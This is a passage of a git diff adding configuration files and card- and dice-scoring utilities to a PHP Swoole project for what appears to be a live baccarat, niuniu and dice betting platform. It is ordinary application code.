int timestamp datetime date + 'auto_timestamp' => true, + + // 时间字段取出后的默认时间格式 + 'datetime_format' => 'Y-m-d H:i:s', + + // 数据集返回类型 + 'resultset_type' => 'collection', + + // 数据库连接配置信息 + 'connections' => [ + 'mysql' => [ + // 数据库类型 + 'type' => env('database.type', 'mysql'), + // 服务器地址 + 'hostname' => env('database.hostname', '127.0.0.1'), + // 数据库名 + 'database' => env('database.database', ''), + // 用户名 + 'username' => env('database.username', ''), + // 密码 + 'password' => env('database.password', ''), + // 端口 + 'hostport' => env('database.hostport', '3306'), + // 数据库连接参数 + 'params' => [], + // 数据库编码默认采用utf8 + 'charset' => env('database.charset', 'utf8'), + // 数据库表前缀 + 'prefix' => env('database.prefix', 'cg_'), + + // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) + 'deploy' => 0, + // 数据库读写是否分离 主从式有效 + 'rw_separate' => false, + // 读写分离后 主服务器数量 + 'master_num' => 1, + // 指定从服务器序号 + 'slave_no' => '', + // 是否严格检查字段是否存在 + 'fields_strict' => true, + // 是否需要断线重连 + 'break_reconnect' => false, + // 监听SQL + 'trigger_sql' => env('app_debug', true), + // 开启字段缓存 + 'fields_cache' => false, + // 字段缓存路径 + 'schema_cache_path' => app()->getRuntimePath() . 'schema' . DIRECTORY_SEPARATOR, + ], + + // 更多的数据库配置信息 + ], +]; diff --git a/config/filesystem.php b/config/filesystem.php new file mode 100644 index 0000000..965297e --- /dev/null +++ b/config/filesystem.php @@ -0,0 +1,24 @@ + env('filesystem.driver', 'local'), + // 磁盘列表 + 'disks' => [ + 'local' => [ + 'type' => 'local', + 'root' => app()->getRuntimePath() . 'storage', + ], + 'public' => [ + // 磁盘类型 + 'type' => 'local', + // 磁盘路径 + 'root' => app()->getRootPath() . 'public/storage', + // 磁盘路径对应的外部URL路径 + 'url' => '/storage', + // 可见性 + 'visibility' => 'public', + ], + // 更多的磁盘配置信息 + ], +]; diff --git a/config/lang.php b/config/lang.php new file mode 100644 index 0000000..c1c8a3d --- /dev/null +++ b/config/lang.php @@ -0,0 +1,25 @@ + env('lang.default_lang', 'zh-cn'), + // 允许的语言列表 + 'allow_lang_list' => ['zh-cn','zh-tw','en-us'], + // 多语言自动侦测变量名 + 'detect_var' => 'lang', + // 是否使用Cookie记录 + 'use_cookie' => true, + // 多语言cookie变量 + 'cookie_var' => 'think_lang', + // 扩展语言包 + 'extend_list' => [], + // Accept-Language转义为对应语言包名称 + 'accept_language' => [ + 'zh-hans-cn' => 'zh-cn', + ], + // 是否支持语言分组 + 'allow_group' => false, +]; diff --git a/config/log.php b/config/log.php new file mode 100644 index 0000000..ea24ff9 --- /dev/null +++ b/config/log.php @@ -0,0 +1,45 @@ + env('log.channel', 'file'), + // 日志记录级别 + 'level' => [], + // 日志类型记录的通道 ['error'=>'email',...] + 'type_channel' => [], + // 关闭全局日志写入 + 'close' => false, + // 全局日志处理 支持闭包 + 'processor' => null, + + // 日志通道列表 + 'channels' => [ + 'file' => [ + // 日志记录方式 + 'type' => 'File', + // 日志保存目录 + 'path' => '', + // 单文件日志写入 + 'single' => false, + // 独立日志级别 + 'apart_level' => [], + // 最大日志文件数量 + 'max_files' => 0, + // 使用JSON格式记录 + 'json' => false, + // 日志处理 + 'processor' => null, + // 关闭通道日志写入 + 'close' => false, + // 日志输出格式化 + 'format' => '[%s][%s] %s', + // 是否实时写入 + 'realtime_write' => false, + ], + // 其它日志通道配置 + ], + +]; diff --git a/config/middleware.php b/config/middleware.php new file mode 100644 index 0000000..7e1972f --- /dev/null +++ b/config/middleware.php @@ -0,0 +1,8 @@ + [], + // 优先级设置,此数组中的中间件会按照数组中的顺序优先执行 + 'priority' => [], +]; diff --git a/config/route.php b/config/route.php new file mode 100644 index 0000000..955eeec --- /dev/null +++ b/config/route.php @@ -0,0 +1,45 @@ + '/', + // URL伪静态后缀 + 'url_html_suffix' => 'html', + // URL普通方式参数 用于自动生成 + 'url_common_param' => true, + // 是否开启路由延迟解析 + 'url_lazy_route' => false, + // 是否强制使用路由 + 'url_route_must' => false, + // 合并路由规则 + 'route_rule_merge' => false, + // 路由是否完全匹配 + 'route_complete_match' => false, + // 访问控制器层名称 + 'controller_layer' => 'controller', + // 空控制器名 + 'empty_controller' => 'Error', + // 是否使用控制器后缀 + 'controller_suffix' => false, + // 默认的路由变量规则 + 'default_route_pattern' => '[\w\.]+', + // 是否开启请求缓存 true自动缓存 支持设置请求缓存规则 + 'request_cache' => false, + // 请求缓存有效期 + 'request_cache_expire' => null, + // 全局请求缓存排除规则 + 'request_cache_except' => [], + // 默认控制器名 + 'default_controller' => 'Index', + // 默认操作名 + 'default_action' => 'index', + // 操作方法后缀 + 'action_suffix' => '', + // 默认JSONP格式返回的处理方法 + 'default_jsonp_handler' => 'jsonpReturn', + // 默认JSONP处理方法 + 'var_jsonp_handler' => 'callback', +]; diff --git a/config/session.php b/config/session.php new file mode 100644 index 0000000..ff21c07 --- /dev/null +++ b/config/session.php @@ -0,0 +1,19 @@ + 'PHPSESSID', + // SESSION_ID的提交变量,解决flash上传跨域 + 'var_session_id' => '', + // 驱动方式 支持file cache + 'type' => 'file', + // 存储连接标识 当type使用cache的时候有效 + 'store' => null, + // 过期时间 + 'expire' => 60 * 60 * 24 * 365, + // 前缀 + 'prefix' => '', +]; diff --git a/config/swoole.php b/config/swoole.php new file mode 100644 index 0000000..4b25e64 --- /dev/null +++ b/config/swoole.php @@ -0,0 +1,191 @@ + [ + 'host' => env('SWOOLE_HOST', '0.0.0.0'), // 监听地址 + 'port' => env('SWOOLE_PORT', 8082), // 监听端口 + 'mode' => SWOOLE_PROCESS, // 运行模式 默认为SWOOLE_PROCESS + 'sock_type' => SWOOLE_SOCK_TCP, // sock type 默认为SWOOLE_SOCK_TCP + 'options' => [ + 'pid_file' => runtime_path() . 'swoole.pid', + 'log_file' => runtime_path() . 'swoole.log', + 'daemonize' => env('SWOOLE_DAEMONIZE', false), //是否开启后台运行 + // Normally this value should be 1~4 times larger according to your cpu cores. + 'reactor_num' => swoole_cpu_num(), + 'worker_num' => swoole_cpu_num(), + 'task_worker_num' => swoole_cpu_num(), + 'enable_static_handler' => true, + 'document_root' => root_path('public'), + 'package_max_length' => 20 * 1024 * 1024, + 'buffer_output_size' => 10 * 1024 * 1024, + 'socket_buffer_size' => 128 * 1024 * 1024, + ], + ], + 'websocket' => [ + 'enable' => true, + 'handler' => Handler::class, + 'parser' => Parser::class, + 'ping_interval' => 1000, + 'ping_timeout' => 1000, + 'room' => [ + 'type' => 'redis', + 'table' => [ + 'room_rows' => 40960, + 'room_size' => 20480, + 'client_rows' => 81920, + 'client_size' => 20480, + ], + 'redis' => [ + 'host' => '127.0.0.1', + 'port' => 6379, + 'max_active' => 3, + 'max_wait_time' => 5, + ], + ], + 'listen' => [ + /* 连接事件 */ + 'Connect' => '\app\listener\WsConnect', + /* 关闭事件 */ + 'Close' => '\app\listener\WsClose', + /* 获取当前状态事件,测试使用 */ + 'getState' => '\app\listener\GetState', + /* 操作事件 */ + 'startBet' => '\app\listener\space\StartBet', + 'endBet' => '\app\listener\space\EndBet', + 'startRob' => '\app\listener\space\StartRob', + 'endRob' => '\app\listener\space\EndRob', + 'changeBoot' => '\app\listener\space\ChangeBoot', + 'resetBoot' => '\app\listener\space\ResetBoot', + 'resetNumberTab' => '\app\listener\space\ResetNumberTab', + 'resetBaccarat' => '\app\listener\space\ResetBaccarat', + 'resetDt' => '\app\listener\space\ResetDt', + 'openingDt' => '\app\listener\space\OpeningDt', + 'openingBaccarat' => '\app\listener\space\OpeningBaccarat', + 'openingNn' => '\app\listener\space\OpeningNn', + 'openingTc' => '\app\listener\space\OpeningTc', + 'openingToning' => '\app\listener\space\OpeningToning', + 'openingDice' => '\app\listener\space\OpeningDice', + 'openingRoulette' => '\app\listener\space\openingRoulette', + /* 扫描事件 */ + 'sendScanBaccarat' => '\app\listener\scan\Baccarat', + 'sendScanDt' => '\app\listener\scan\Dt', + 'sendScanNn' => '\app\listener\scan\Nn', + 'sendScanTc' => '\app\listener\scan\Tc', + 'checkScanStatus' => '\app\listener\scan\CheckScanStatus', + + /* 修改事件 */ + 'sendScanChangeNnResult' => '\app\listener\scan\NnChange', + /* 会员事件 */ + 'toBet' => '\app\listener\user\ToBet', + 'cancelBet' => '\app\listener\user\CancelBet', + 'toRob' => '\app\listener\user\ToRob', + 'toSeat' => '\app\listener\user\ToSeat', + 'toLeaveSeat' => '\app\listener\user\ToLeaveSeat', + + /* 在线客服事件 */ + 'chat.connect' => '\app\listener\chat\ChatConnect', + 'chat.ping' => '\app\listener\chat\ChatPing', + 'chat.message.send' => '\app\listener\chat\ChatMessageSend', + 'chat.message.ack' => '\app\listener\chat\ChatMessageAck', + 'chat.typing' => '\app\listener\chat\ChatTyping', + 'chat.session.end' => '\app\listener\chat\ChatSessionEnd', + 'chat.session.rate' => '\app\listener\chat\ChatSessionRate', + 'chat.session.transfer' => '\app\listener\chat\ChatSessionTransfer', + 'chat.agent.online' => '\app\listener\chat\ChatAgentOnline', + 'chat.agent.offline' => '\app\listener\chat\ChatAgentOffline', + 'chat.queue.list' => '\app\listener\chat\ChatQueueList', + ], + 'subscribe' => [], + ], + 'rpc' => [ + 'server' => [ + 'enable' => false, + 'port' => 9000, + 'services' => [ + ], + ], + 'client' => [ + ], + ], + 'hot_update' => [ + 'enable' => env('APP_DEBUG', false), + 'name' => ['*.php'], + 'include' => [app_path()], + 'exclude' => [], + ], + //连接池 + 'pool' => [ + 'db' => [ + 'enable' => true, + 'max_active' => 30, + 'max_wait_time' => 5, + ], + 'cache' => [ + 'enable' => true, + 'max_active' => 30, + 'max_wait_time' => 5, + ], + //自定义连接池 + ], + 'coroutine' => [ + 'enable' => true, + 'flags' => SWOOLE_HOOK_ALL, + ], + 'tables' => [ + 'fd' => ['size' => 102400, 'columns' => [ + ['name' => 'mode', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'user_id', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'table_id', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'scan_appid', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'api_appid', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'username', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'table_name', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ]], + 'space' => ['size' => 102400, 'columns' => [ + ['name' => 'fd', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'mode', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'table_name', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ]], + 'scan' => ['size' => 102400, 'columns' => [ + ['name' => 'fd', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'mode', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'appid', 'type' => \Swoole\Table::TYPE_INT], + ]], + 'user' => ['size' => 102400, 'columns' => [ + ['name' => 'fd', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'mode', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'username', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'isToBet', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'toBetTime', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'isToRob', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'toRobTime', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'isToCancelBet', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'toCancelBetTime', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'isToSeat', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'toSeatTime', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'isToLeaveSeat', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'toLeaveSeatTime', 'type' => \Swoole\Table::TYPE_INT], + ]], + 'api' => ['size' => 102400, 'columns' => [ + ['name' => 'fd', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'mode', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'appid', 'type' => \Swoole\Table::TYPE_INT], + ]], + 'manager' => ['size' => 102400, 'columns' => [ + ['name' => 'fd', 'type' => \Swoole\Table::TYPE_INT], + ['name' => 'mode', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ['name' => 'username', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 32], + ]], + ], + //每个worker里需要预加载以共用的实例 + 'concretes' => [], + //重置器 + 'resetters' => [], + //每次请求前需要清空的实例 + 'instances' => [], + //每次请求前需要重新执行的服务 + 'services' => [], +]; diff --git a/config/trace.php b/config/trace.php new file mode 100644 index 0000000..fad2392 --- /dev/null +++ b/config/trace.php @@ -0,0 +1,10 @@ + 'Html', + // 读取的日志通道名 + 'channel' => '', +]; diff --git a/config/view.php b/config/view.php new file mode 100644 index 0000000..01259a0 --- /dev/null +++ b/config/view.php @@ -0,0 +1,25 @@ + 'Think', + // 默认模板渲染规则 1 解析为小写+下划线 2 全部转换小写 3 保持操作方法 + 'auto_rule' => 1, + // 模板目录名 + 'view_dir_name' => 'view', + // 模板后缀 + 'view_suffix' => 'html', + // 模板文件名分隔符 + 'view_depr' => DIRECTORY_SEPARATOR, + // 模板引擎普通标签开始标记 + 'tpl_begin' => '{', + // 模板引擎普通标签结束标记 + 'tpl_end' => '}', + // 标签库标签开始标记 + 'taglib_begin' => '{', + // 标签库标签结束标记 + 'taglib_end' => '}', +]; diff --git a/freedom/basic/BaseModel.php b/freedom/basic/BaseModel.php new file mode 100644 index 0000000..4703aa7 --- /dev/null +++ b/freedom/basic/BaseModel.php @@ -0,0 +1,72 @@ +find(); + } + if ($find) return $find->toArray(); + else return []; + } + + /** + * 获取某个字段值 + * @param int $where + * @param + * @return string|int|double + */ + public static function getFieldValue($where,$field): string + { + $value = self::where($where)->value($field); + if ($value) return $value; + else return ''; + } + + /** + * 添加多条数据 + * @param $group + * @param bool $replace + * @return int + */ + public static function setAll($group, bool $replace = false): int + { + return self::insertAll($group, $replace); + } + + /** + * 修改一条数据 + * @param $data + * @param $id + * @param $field + * @return bool $type 返回成功失败 + */ + public static function edit($data, $id, $field = null): bool + { + $model = new self; + if (!$field) $field = $model->getPk(); + $res = $model->update($data, [$field => $id]); + if (isset($res->result)) + return 0 < $res->result; + else if (isset($res['data']['result'])) + return 0 < $res['data']['result']; + else + return false != $res; + } + + + /** + * 查询一条数据是否存在 + * @param $map + * @param string $field + * @return bool 是否存在 + */ + public static function be($map, string $field = ''): bool + { + $model = (new self); + if (!is_array($map) && empty($field)) $field = $model->getPk(); + $map = !is_array($map) ? [$field => $map] : $map; + return 0 < $model->where($map)->count(); + } + + /** + * 删除一条数据 + * @param $id + * @return bool $type 返回成功失败 + */ + public static function del($id): bool + { + return false !== self::destroy($id); + } + +} \ No newline at end of file diff --git a/freedom/utils/CardPosition.php b/freedom/utils/CardPosition.php new file mode 100644 index 0000000..a0da2d5 --- /dev/null +++ b/freedom/utils/CardPosition.php @@ -0,0 +1,156 @@ += 10){ + $id = 0; + } + return $id; + } + + /** + * TODO Baccarat开牌条件判断 + * @param array $cardInfo 卡牌 + * @return bool; + */ + public static function checkOpenScan(array $cardInfo): bool + { + $playerCount = (self::interchangeNumber(self::interchangeCard($cardInfo['player_1'])) + self::interchangeNumber(self::interchangeCard($cardInfo['player_2']))) % 10; + $bankerCount = (self::interchangeNumber(self::interchangeCard($cardInfo['banker_1'])) + self::interchangeNumber(self::interchangeCard($cardInfo['banker_2']))) % 10; + $player3Count = (self::interchangeNumber(self::interchangeCard($cardInfo['player_3']))) % 10; + if(empty($cardInfo['player_1']) || empty($cardInfo['player_2']) || empty($cardInfo['banker_1']) || empty($cardInfo['banker_2'])){ + return false; + } + if(($playerCount == 8 || $playerCount == 9 || $bankerCount == 8 || $bankerCount == 9) && empty($cardInfo['player_3']) && empty($cardInfo['banker_3'])){ + return true; + } + if($playerCount >= 6 && $bankerCount >= 6 && empty($cardInfo['player_3']) && empty($cardInfo['banker_3'])){ + return true; + } + if(($playerCount == 6 || $playerCount == 7) && $bankerCount < 6 && empty($cardInfo['player_3']) && $cardInfo['banker_3'] > 0){ + return true; + } + if($playerCount < 6 && $cardInfo['player_3'] > 0 && $bankerCount == 7 && empty($cardInfo['banker_3'])){ + return true; + } + if($playerCount < 6 && $cardInfo['player_3'] > 0 && (($bankerCount == 6 && in_array($player3Count,array(6,7)) && $cardInfo['banker_3'] > 0) || ($bankerCount == 6 && in_array($player3Count,array(1,2,3,4,5,8,9,0)) && empty($cardInfo['banker_3'])))){ + return true; + } + if($playerCount < 6 && $cardInfo['player_3'] > 0 && (($bankerCount == 5 && in_array($player3Count,array(4,5,6,7)) && $cardInfo['banker_3'] > 0) || ($bankerCount == 5 && in_array($player3Count,array(1,2,3,8,9,0)) && empty($cardInfo['banker_3'])))){ + return true; + } + if($playerCount < 6 && $cardInfo['player_3'] > 0 && (($bankerCount == 4 && in_array($player3Count,array(2,3,4,5,6,7)) && $cardInfo['banker_3'] > 0) || ($bankerCount == 4 && in_array($player3Count,array(1,8,9,0)) && empty($cardInfo['banker_3'])))){ + return true; + } + if($playerCount < 6 && $cardInfo['player_3'] > 0 && (($bankerCount == 3 && in_array($player3Count,array(0,1,2,3,4,5,6,7,9)) && $cardInfo['banker_3'] > 0) || ($bankerCount == 3 && in_array($player3Count,array(8)) && empty($cardInfo['banker_3'])))){ + return true; + } + if($playerCount < 6 && $cardInfo['player_3'] > 0 && $bankerCount < 3 && $cardInfo['banker_3'] > 0){ + return true; + } + return false; + } +} \ No newline at end of file diff --git a/freedom/utils/CardPositionNn.php b/freedom/utils/CardPositionNn.php new file mode 100644 index 0000000..dc4843a --- /dev/null +++ b/freedom/utils/CardPositionNn.php @@ -0,0 +1,718 @@ + 1){ + $compare = array_slice($compare,0,$sameNum); + for($i=0;$i<$sameNum-1;$i++){//对5张牌从大到小排序。 + for($j=$i+1;$j<$sameNum;$j++){ + if($compare[$i] > $compare[$j]){ + $a = $compare[$i]; + $compare[$i] = $compare[$j]; + $compare[$j]=$a; + } + } + } + $max = $compare['0']; + } + $cow = -1; + //计算5张牌总值,cow计算牛几。 + $cardAll = 0; + $n= 0 ;//存储10、J、Q、K张数。 + $king = 0;//存储J、Q、K张数。 + $result = array(); + //计算J、Q、K张数。 + for($i=0;$i<5;$i++){ + if($card[$i] >= 11){ + $king++; + } + } + $word = ''; + if($king == 5){ + $cow = 11; + $word = '五公'; + $result['word'] = $word; + $result['cow'] = $cow; + $result['max'] = $max; + return $result; + } + for($i=0;$i<4;$i++){//对5张牌从大到小排序。 + for($j=$i+1;$j<5;$j++){ + if($card[$i] < $card[$j]){ + $a = $card[$i]; + $card[$i] = $card[$j]; + $card[$j]=$a; + } + } + } + for($i=0;$i<5;$i++){ + if($card[$i] >= 10){ + $n++; + $card[$i] = 10; + } + $cardAll += $card[$i]; + } + switch ($n){ + case 0: //5张牌中没有一张10、J、Q、K。 + for($i=0;$i<4;$i++){ + for($j=$i + 1;$j<5;$j++){ + if(($cardAll - $card[$i]- $card[$j])%10==0){ + $cow=($card[$i] + $card[$j])%10; + } + } + } + break; + case 1: //5张牌中有一张10、J、Q、K。 + //先判断是否有牛牛,不能判断剩余四张相加为10倍数为牛牛,如 Q 8 5 4 3 + //只能先判断两张是否是10的倍数,如果是再判断剩余是否是10的倍数;有限判断出牛牛;再来判断三张是否有10的倍数,有的话有牛,否则无牛 + for($i =1; $i < 4; $i ++){ + for($j = $i +1; $j < 5; $j++){ + if(($card[$i] + $card[$j]) % 10 == 0){ + $cow=($cardAll - $card[0])%10; + } + } + } + //判断是否有牛 + for($i=1; $i<5; $i++){ //剩下四张牌有三张加起来等于10 + if(($cardAll - $card[0] - $card[$i])%10==0){ + $cow=($cardAll-$card[0])%10; + break; + } + } + break; + case 2: //5张牌中有两张10、J、Q、K。 三张是个牛就有问题,应该优先输出 + if(($cardAll - $card[0] - $card[1])%10 == 0){//优先牛牛输出 如 J Q 2 3 5;这里先检查剩余是否为牛牛,否则算法有漏洞 + $cow = 0; + }else{ + //10 10 6 5 3 n=2 i=3 j=4 cardAll = 34 + for($i=$n;$i<4;$i++){//剩下三(四)张牌有两张加起来等于10。 + for($j=$i+1;$j<5;$j++){ + if(($card[$i]+$card[$j])==10){ + $temp = $cardAll; + for($k=0;$k<$n;$k++){ + $temp -= $card[$k]; // 18 + $cow = $temp%10; //8 + } + } + } + } + } + break; + case 3: //5张牌中有三张10、J、Q、K。 + case 4: //5张牌中有四张10、J、Q、K。 + case 5: //5张牌中五张都是10、J、Q、K。 + for($i=0;$i<$n;$i++){//总值减去10、J、Q、K的牌。 + $cardAll -= $card[$i]; + } + $cow = $cardAll%10; + break; + } + switch ($cow){ + case 0: + $word = 'NN'; + break; + case 1: + $word = 'N1'; + break; + case 2: + $word = 'N2'; + break; + case 3: + $word = 'N3'; + break; + case 4: + $word = 'N4'; + break; + case 5: + $word = 'N5'; + break; + case 6: + $word = 'N6'; + break; + case 7: + $word = 'N7'; + break; + case 8: + $word = 'N8'; + break; + case 9: + $word = 'N9'; + break; + case -1: + $word = 'N0'; + break; + } + if($cow == -1){ + $cow = 0; + }else if($cow == 0){ + $cow = 10; + } + $result['word'] = $word; + $result['cow'] = $cow; + $result['max'] = $max; + return $result; + } + + /** + * TODO NN比较两张牌大小 + * @param int $card1 卡牌 + * @param int $card2 卡牌 + * @return int; + */ + public static function compareCard(int $card1, int $card2): int + { + $card1Num = CardPosition::interchangeCard($card1); + $card2Num = CardPosition::interchangeCard($card2); + $card1Color = CardPosition::interchangeColor($card1); + $card2Color = CardPosition::interchangeColor($card2); + if($card1Num > $card2Num){ + return 1; + }elseif($card1Num < $card2Num){ + return 0; + }else{ + if($card1Color > $card2Color){ + return 0; + }else{ + return 1; + } + } + } + + /** + * TODO NN识别固定位置 + * @param int $position 位置 + * @return string; + */ + public static function sbStaticCardPosition(int $position): string + { + $result = ''; + switch($position) { + case 1: + $result = "player_1_card_1"; + break; + case 2: + $result = "player_1_card_2"; + break; + case 3: + $result = "player_1_card_3"; + break; + case 4: + $result = "player_1_card_4"; + break; + case 5: + $result = "player_1_card_5"; + break; + case 6: + $result = "player_2_card_1"; + break; + case 7: + $result = "player_2_card_2"; + break; + case 8: + $result = "player_2_card_3"; + break; + case 9: + $result = "player_2_card_4"; + break; + case 10: + $result = "player_2_card_5"; + break; + case 11: + $result = "player_3_card_1"; + break; + case 12: + $result = "player_3_card_2"; + break; + case 13: + $result = "player_3_card_3"; + break; + case 14: + $result = "player_3_card_4"; + break; + case 15: + $result = "player_3_card_5"; + break; + case 16: + $result = "banker_card_1"; + break; + case 17: + $result = "banker_card_2"; + break; + case 18: + $result = "banker_card_3"; + break; + case 19: + $result = "banker_card_4"; + break; + case 20: + $result = "banker_card_5"; + break; + + } + + return $result; + + } + +} \ No newline at end of file diff --git a/freedom/utils/CardPositionTc.php b/freedom/utils/CardPositionTc.php new file mode 100644 index 0000000..6c83175 --- /dev/null +++ b/freedom/utils/CardPositionTc.php @@ -0,0 +1,390 @@ + 1){ + $compare = array_slice($compare,0,$sameNum); + for($i=0;$i<$sameNum-1;$i++){//对5张牌从大到小排序。 + for($j=$i+1;$j<$sameNum;$j++){ + if($compare[$i] > $compare[$j]){ + $a = $compare[$i]; + $compare[$i] = $compare[$j]; + $compare[$j]=$a; + } + } + } + $max = $compare['0']; + if($sameNum == 2){ + if($compare['0']>300 && $compare['0']<400){ + $max = $compare['1']; + } + } + } + + $result = array(); + //豹子判断 + if(count($card) != count(array_unique($card))) { + if (count(array_unique($card)) == 1) { + $cow = 11; + $word = '豹子'; + if (array_key_exists(1, $spaceNum)) { + if ($spaceNum['1'] > 0) { + if ($spaceNum['1'] == 1) { + $max = $compare[2]; + } + if ($spaceNum['1'] == 2) { + if ($compare[1] > 300 && $compare[1] < 400) { + $max = $compare[2]; + } else { + $max = $compare[1]; + } + } + } + } + $result['word'] = $word; + $result['cow'] = $cow; + $result['max'] = $max; + return $result; + } + } + + if(count(array_unique($cardType)) == 1){ + //皇家同花顺 + $example = array(1,12,13); + $diffResult=array_diff($card,$example); + if(count($diffResult) == 0){ + $cow = 13; + $word = '皇家同花顺'; + if(isset($spaceNum['1'])){ + $max = $compare[2]; + } + $result['word'] = $word; + $result['cow'] = $cow; + $result['max'] = $max; + return $result; + } + //同花顺 + if(count($card) == count(array_unique($card))) { + $maxC=$minC=-1; + for ($i=0; $i < 3; $i++) { + if($card[$i] > $maxC || $maxC == -1){ + $maxC = $card[$i]; + } + if($card[$i] < $minC || $minC == -1){ + $minC = $card[$i]; + } + } + if($maxC - $minC == 2){ + $cow = 12; + $word = '同花顺'; +// if(isset($spaceNum['1'])){ +// $max = $compare[2]; +// } + $result['word'] = $word; + $result['cow'] = $cow; + $result['max'] = $max; + return $result; + } + } + } + if($card[0]>10)$card[0]=10; + if($card[1]>10)$card[1]=10; + if($card[2]>10)$card[2]=10; + $sumNum = $card[0] + $card[1] + $card[2]; + if($sumNum < 10){ + $cow = $sumNum; + }else{ + $cow = $sumNum%10; + } + switch ($cow){ + case 0: + $word = '牛牛'; + break; + case 1: + $word = '牛一'; + break; + case 2: + $word = '牛二'; + break; + case 3: + $word = '牛三'; + break; + case 4: + $word = '牛四'; + break; + case 5: + $word = '牛五'; + break; + case 6: + $word = '牛六'; + break; + case 7: + $word = '牛七'; + break; + case 8: + $word = '牛八'; + break; + case 9: + $word = '牛九'; + break; + } + if($cow == 0){ + $cow = 10; + } + $result['word'] = $word; + $result['cow'] = $cow; + $result['max'] = $max; + return $result; + } + + /** + * TODO TC比较两张牌大小 + * @param int $card1 卡牌 + * @param int $card2 卡牌 + * @param int $result 结果 + * @return int; + */ + public static function compareCardTc(int $card1, int $card2, int $result): int + { + $card1Num = CardPosition::interchangeCard($card1); + $card2Num = CardPosition::interchangeCard($card2); + $card1Color = CardPosition::interchangeColor($card1); + $card2Color = CardPosition::interchangeColor($card2); + if($card1Num > $card2Num){ + return 1; + }elseif($card1Num < $card2Num){ + return 0; + }else{ + if($card1Color > $card2Color){ + return 0; + }elseif($card1Color < $card2Color){ + return 1; + } + } + } +} \ No newline at end of file diff --git a/freedom/utils/DiceUtil.php b/freedom/utils/DiceUtil.php new file mode 100644 index 0000000..6699422 --- /dev/null +++ b/freedom/utils/DiceUtil.php @@ -0,0 +1,154 @@ + $v){ + if (intval($v) == $living){ + $count++; + } + } + return $count; + } + /** + * 分析结果 控制端传入三个数 方法对其分析 输出结果 + * @param $resultArray + * @return array + */ + public static function parseResult($resultArray): array + { + // 返回数组 + $returnArray = []; + $returnArray[] = 'living_' . $resultArray[0]; + $returnArray[] = 'living_' . $resultArray[1]; + $returnArray[] = 'living_' . $resultArray[2]; + // int类型结果数组 + $intResultArray = []; + foreach ($resultArray as $v) { + $intResultArray[] = intval($v); + } + $total = array_sum($intResultArray); + if ($total > 3 && $total < 18) { + $returnArray[] = 'number_' . $total; + } + // 判断是不是全部值都是一样的 + $uniqueArray = array_unique($intResultArray); + // 重新排序 + sort($uniqueArray); + if (count($uniqueArray) == 1) { + $returnArray[] = 'two_'.$uniqueArray[0] . $uniqueArray[0]; + $returnArray[] = 'three_'.$uniqueArray[0] . $uniqueArray[0] . $uniqueArray[0]; + $returnArray[] = 'leopard'; + } else { + if ($total >= 4 && $total <= 10) { + $returnArray[] = 'small'; + } + if ($total >= 11 && $total <= 17) { + $returnArray[] = 'big'; + } + if ($total % 2 == 0) { + $returnArray[] = 'plural'; + } else { + $returnArray[] = 'singular'; + } + } + if (count($uniqueArray) == 2) { + $returnArray[] = 'two_'.$uniqueArray[0] . $uniqueArray[1]; + $pointArr = array_count_values($resultArray); + foreach ($pointArr as $key => $value){ + if($value == 2){ + $returnArray[] = 'two_'.$key . $key; + } + } + } + if (count($uniqueArray) == 3) { + $returnArray[] = 'two_'.$uniqueArray[0] . $uniqueArray[1]; + $returnArray[] = 'two_'.$uniqueArray[0] . $uniqueArray[2]; + $returnArray[] = 'two_'.$uniqueArray[1] . $uniqueArray[2]; + } + return $returnArray; + } + + /** + * 分析统计 分析结果 控制端传入三个数 方法对其分析 输出结果 + * @param $resultArray + * @return array + */ + public static function parseCount($resultArray): array + { + $returnArray = []; + // int类型结果数组 + $intResultArray = []; + foreach ($resultArray as $v) { + $intResultArray[] = intval($v); + } + $total = array_sum($intResultArray); + // 判断是不是全部值都是一样的 + $uniqueArray = array_unique($intResultArray); + if (count($uniqueArray) == 1) { + $returnArray[] = 'leopard'; + } else { + if ($total >= 4 && $total <= 10) { + $returnArray[] = 'small'; + } + if ($total >= 11 && $total <= 17) { + $returnArray[] = 'big'; + } + if ($total % 2 == 0) { + $returnArray[] = 'plural'; + } else { + $returnArray[] = 'singular'; + } + } + return $returnArray; + } + + /** + * 统计自增方法 + * @param $beforeCountArray + * @param $afterCountArray + * @return int[] + */ + public static function countInc($beforeCountArray, $afterCountArray): array + { + if (empty($beforeCountArray)){ + $beforeCountArray = ['leopard' => 0, 'small' => 0, 'big' => 0, 'singular' => 0, 'plural' => 0]; + } + foreach ($beforeCountArray as $k => $v){ + if (in_array($k, $afterCountArray)){ + $beforeCountArray[$k] = $v + 1; + } + } + return $beforeCountArray; + } + + /** + * 下注额自增方法 + * @param $beforeAmountArray + * @param $afterAmountArray + * @return array + */ + public static function amountInc($beforeAmountArray, $afterAmountArray): array + { + $returnArray = []; + foreach ($afterAmountArray as $k => $v){ + if (array_key_exists($k, $beforeAmountArray)){ + $returnArray[$k] = $beforeAmountArray[$k] + $v; + unset($beforeAmountArray[$k]); + } else { + $returnArray[$k] = 